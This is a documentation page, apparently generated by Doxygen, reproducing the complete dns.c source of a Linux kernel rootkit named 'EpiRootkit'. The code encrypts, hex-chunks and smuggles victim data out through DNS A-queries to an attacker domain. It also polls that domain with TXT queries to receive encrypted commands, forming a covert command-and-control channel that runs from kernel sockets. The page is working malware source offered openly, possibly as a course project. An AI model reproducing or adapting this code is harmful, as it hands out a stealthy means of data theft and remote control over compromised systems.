EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
dns.c
Go to the documentation of this file.
1#include "network.h"
2
3// ugly
4
9#pragma pack(push, 1)
11 __be16 id; // Identification field
12 __be16 flags; // Flags and response codes
13 __be16 qdcount; // Number of questions
14 __be16 ancount; // Number of answer RRs
15 __be16 nscount; // Number of authority RRs
16 __be16 arcount; // Number of additional RRs (OPT for EDNS0)
17};
18#pragma pack(pop)
19// so 12 bytes total
20
35static int dns_send_query(const char *query_name, __be16 question_type,
36 u8 *response_buffer, int *response_length) {
37 struct socket *sock;
38 struct sockaddr_in dest_addr;
39 struct msghdr msg = {};
40 struct kvec iov;
41 int offset = 0;
42 int result;
43 u8 *packet_buffer;
44
45 // Allocate heap memory for the DNS packet
46 packet_buffer = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
47 if (!packet_buffer)
48 return -ENOMEM;
49
50 // Build the DNS header
51 struct dns_header_t *hdr = (void *)packet_buffer;
52 get_random_bytes(&hdr->id, sizeof(hdr->id));
53 hdr->flags = htons(0x0100);
54 hdr->qdcount = htons(1);
55 hdr->ancount = htons(0);
56 hdr->nscount = htons(0);
57 hdr->arcount = htons(0);
58 offset = DNS_HDR_SIZE;
59
60 // Encode QNAME: split labels by '.' and prefix length
61 const char *p = query_name;
62 while (*p) {
63 const char *dot = strchr(p, '.');
64 int label_len = dot ? (dot - p) : strlen(p);
65 packet_buffer[offset++] = label_len;
66
67 memcpy(packet_buffer + offset, p, label_len);
68 offset += label_len;
69
70 if (!dot)
71 break;
72 p = dot + 1;
73 }
74
75 // Append the 0x00 to terminate the QNAME
76 packet_buffer[offset++] = 0;
77
78 // Write QTYPE and QCLASS=IN
79 *(__be16 *)(packet_buffer + offset) = question_type;
80 offset += 2;
81 *(__be16 *)(packet_buffer + offset) = htons(1);
82 offset += 2;
83
84 // Create a UDP socket in kernel (need to hide it ?)
85 result = sock_create_kern(&init_net, AF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock);
86 if (result < 0) {
87 kfree(packet_buffer);
88 return result;
89 }
90
91 // Prepare the destination address
92 memset(&dest_addr, 0, sizeof(dest_addr));
93 dest_addr.sin_family = AF_INET;
94 dest_addr.sin_port = htons(DNS_PORT);
95 in4_pton(ip, -1, (u8 *)&dest_addr.sin_addr.s_addr, -1, NULL);
96
97 // tell kernel_sendmsg where to send
98 msg.msg_name = &dest_addr;
99 msg.msg_namelen = sizeof(dest_addr);
100
101 // DEBUG Log (ugly)
102 // DBG_MSG("dns_send_query: sending %d-byte DNS query for '%s'\n", offset,
103 // query_name);
104
105 // Send the DNS query
106 iov.iov_base = packet_buffer;
107 iov.iov_len = offset;
108 result = kernel_sendmsg(sock, &msg, &iov, 1, offset);
109 if (result < 0) {
110 sock_release(sock);
111 kfree(packet_buffer);
112 return result;
113 }
114
115 // Give the server a moment to respond
116 msleep(200);
117
118 // Receive the response (up to DNS_MAX_BUF)
119 iov.iov_base = packet_buffer;
120 iov.iov_len = DNS_MAX_BUF;
121 result = kernel_recvmsg(sock, &msg, &iov, 1, DNS_MAX_BUF, MSG_DONTWAIT);
122 if (result > 0) {
123 memcpy(response_buffer, packet_buffer, result);
124 *response_length = result;
125 result = 0;
126 }
127 else if (result == -EAGAIN || result == -EWOULDBLOCK) {
128 *response_length = 0;
129 result = 0;
130 }
131
132 // Marie Kondo
133 sock_release(sock);
134 kfree(packet_buffer);
135 return result;
136}
137
149int dns_send_data(const char *data, size_t data_len) {
150 char *encrypted_msg = NULL;
151 size_t encrypted_len = 0;
152
153 // Encrypt the data before sending
154 if (encrypt_buffer(data, data_len, &encrypted_msg, &encrypted_len) < 0)
155 return -EIO;
156
157 size_t total_chunks = (encrypted_len + DNS_MAX_CHUNK - 1) / DNS_MAX_CHUNK;
158
159 // Too many chunks, refuse to send, arbitrarily limit to
160 // DNS_MAX_AUTHORIZED_NB_CHUNKS
161 if (total_chunks > DNS_MAX_AUTHORIZED_NB_CHUNKS) {
162 vfree(encrypted_msg);
163 dns_send_data("Output on victim side too big. Use TCP instead. ", 47);
164 return -E2BIG;
165 }
166
167 size_t chunk_index;
168 int response_length_local;
169 u8 *response_buffer_local;
170
171 // Allocate local response buffer
172 response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
173 if (!response_buffer_local) {
174 vfree(encrypted_msg);
175 return -ENOMEM;
176 }
177
178 // Loop over each data chunk
179 for (chunk_index = 0; chunk_index < total_chunks; chunk_index++) {
180 size_t chunk_size =
181 min(encrypted_len - chunk_index * DNS_MAX_CHUNK, (size_t)DNS_MAX_CHUNK);
182 char hex_buffer[2 * DNS_MAX_CHUNK + 1];
183 char seq_label[80];
184 char full_qname[200];
185 size_t i;
186
187 // Hex-encode the chunk
188 for (i = 0; i < chunk_size; i++)
189 sprintf(hex_buffer + 2 * i, "%02x",
190 encrypted_msg[chunk_index * DNS_MAX_CHUNK + i]);
191 hex_buffer[2 * chunk_size] = '\0';
192
193 // Prefix with sequence/total header (not the best way to do it I think, but
194 // works)
195 snprintf(seq_label, sizeof(seq_label), "%02zx/%02zx-%s", chunk_index,
196 total_chunks, hex_buffer);
197
198 // Build full QNAME: "seq_label.DNS_DOMAIN"
199 snprintf(full_qname, sizeof(full_qname), "%s.%s", seq_label, DNS_DOMAIN);
200
201 // Send the A-query carrying this chunk over DNS
202 dns_send_query(full_qname, htons(1), response_buffer_local,
203 &response_length_local);
204
205 // Craque le sleep
206 msleep(10);
207 }
208
209 // Marie Kondo
210 vfree(encrypted_msg);
211 kfree(response_buffer_local);
212 return 0;
213}
214
222int dns_receive_command(char *out_buffer, size_t max_length) {
223 char *poll_qname;
224 u8 *response_buffer_local;
225 int response_length_local;
226 int result;
227 struct dns_header_t *hdr;
228 u16 answer_count;
229 int offset;
230
231 // Allocate local response buffer
232 response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
233 if (!response_buffer_local)
234 return -ENOMEM;
235
236 // Build the TXT-poll query name
237 poll_qname = kmalloc(128, GFP_KERNEL);
238 snprintf(poll_qname, 128, "command.%s", DNS_DOMAIN);
239
240 // Send TXT query and get raw response
241 result = dns_send_query(poll_qname, htons(16), response_buffer_local,
242 &response_length_local);
243 kfree(poll_qname);
244 if (result < 0) {
245 kfree(response_buffer_local);
246 return -EIO;
247 }
248
249 // Parse DNS header and answer count
250 hdr = (struct dns_header_t *)response_buffer_local;
251 answer_count = ntohs(hdr->ancount);
252
253 // No command pending
254 if (answer_count == 0) {
255 kfree(response_buffer_local);
256 return 0;
257 }
258
259 // Skip header and question section
260 offset = DNS_HDR_SIZE;
261 while (offset < response_length_local && response_buffer_local[offset])
262 offset += response_buffer_local[offset] + 1;
263
264 // NULL (1) + QTYPE (2) + QCLASS (2)
265 offset += 1 + 2 + 2;
266
267 // Skip into first answer record
268 if ((response_buffer_local[offset] & 0xC0) == 0xC0)
269 offset += 2;
270 else {
271 while (offset < response_length_local && response_buffer_local[offset])
272 offset += response_buffer_local[offset] + 1;
273 offset++;
274 }
275
276 // TYPE (2) + CLASS (2) + TTL (4)
277 offset += 2 + 2 + 4;
278
279 // Read RDLENGTH and TXT length byte
280 u16 rdlength = ntohs(*(__be16 *)(response_buffer_local + offset));
281 offset += 2;
282
283 if (rdlength > 0 && offset < response_length_local) {
284 u8 txt_length = response_buffer_local[offset++];
285 if (txt_length >= max_length)
286 txt_length = max_length - 1;
287
288 char *decrypted = NULL;
289 size_t decrypted_len = 0;
290
291 if (decrypt_buffer(response_buffer_local + offset, txt_length, &decrypted,
292 &decrypted_len)
293 < 0) {
294 kfree(response_buffer_local);
295 return -EIO;
296 }
297
298 memcpy(out_buffer, decrypted, decrypted_len);
299 out_buffer[decrypted_len] = '\0';
300
301 // Marie Kondo
302 kfree(response_buffer_local);
303 vfree(decrypted);
304 return decrypted_len;
305 }
306
307 // Marie Kondo
308 kfree(response_buffer_local);
309 return 0;
310}
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
Definition aes.c:322
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
Definition aes.c:335
#define DNS_MAX_CHUNK
Definition config.h:45
#define DNS_DOMAIN
Definition config.h:48
#define DNS_MAX_BUF
Definition config.h:43
#define DNS_PORT
Definition config.h:42
#define DNS_HDR_SIZE
Definition config.h:44
#define DNS_MAX_AUTHORIZED_NB_CHUNKS
Definition config.h:46
char * ip
Definition main.c:6
int dns_send_data(const char *data, size_t data_len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149
int dns_receive_command(char *out_buffer, size_t max_length)
Poll the attacker via DNS TXT-query for a pending command.
Definition dns.c:222
static int dns_send_query(const char *query_name, __be16 question_type, u8 *response_buffer, int *response_length)
Send a single DNS question and receive the raw response.
Definition dns.c:35
DNS protocol header (network byte order, it is important).
Definition dns.c:10
__be16 id
Definition dns.c:11
__be16 nscount
Definition dns.c:15
__be16 qdcount
Definition dns.c:13
__be16 ancount
Definition dns.c:14
__be16 arcount
Definition dns.c:16
__be16 flags
Definition dns.c:12